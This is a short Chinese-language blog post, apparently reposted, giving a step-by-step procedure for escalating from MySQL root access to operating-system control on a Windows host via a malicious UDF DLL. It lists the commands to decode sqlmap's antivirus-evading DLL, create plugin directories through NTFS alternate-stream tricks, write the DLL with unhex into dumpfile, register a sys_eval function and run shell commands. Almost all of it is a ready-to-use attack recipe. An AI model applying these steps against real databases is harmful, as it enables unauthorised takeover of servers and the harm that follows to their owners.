UDF(User defined function)是MySQL的一个拓展接口,用来扩展MySQL的功能。在具备MySQL管理员访问权限的条件下,可利用该特性进行提权,获取所在主机的控制权。下面以windows主机为例,给出具体的步骤:
1、python clock.py -d -i lib_mysqludfsys.dll
此步是获取攻击用的UDF dll。首先要安装sqlmap,然后运行上述命令即可得到解码之后的UDF dll。(sqlmap对其进行编码是为了免杀)
2、mysql -h target_ip -uroot -p
与目标MySQL建立连接
3、select version();
查看MySQL版本
4、select @@basedir;
查看MySQL的安装目录。假设为 c:\program files\mysql\mysql server 5.1
5、select @@plugin_dir;
查看MySQL的插件目录。假设为c:\program files\mysql\mysql server 5.1\plugin
6、select ‘it is dll‘ into dumpfile ‘c:\program files\mysql\mysql server 5.1\lib::$INDEX_ALLOCATION‘;
创建lib目录
7、select ‘it is dll‘ into dumpfile ‘c:\program files\mysql\mysql server 5.1\plugin::$INDEX_ALLOCATION‘;
创建plugin目录
8、select unhex(‘hex_of_udf.dll‘) into dumpfile "c:\program files\mysql\mysql server 5.1\plugin\udf.dll";
创建udf.dll,上述命令中hex_of_udf.dll是udf.dll的十六进制文本,可用winhex等编辑软件获得
9、create function sys_eval returns string soname ‘udf.dll‘;
创建函数
10、select sys_eval(‘whoami‘);
执行shell命令,表明以获取操作系统的控制权
原文地址:http://blog.51cto.com/watertoeast/2068563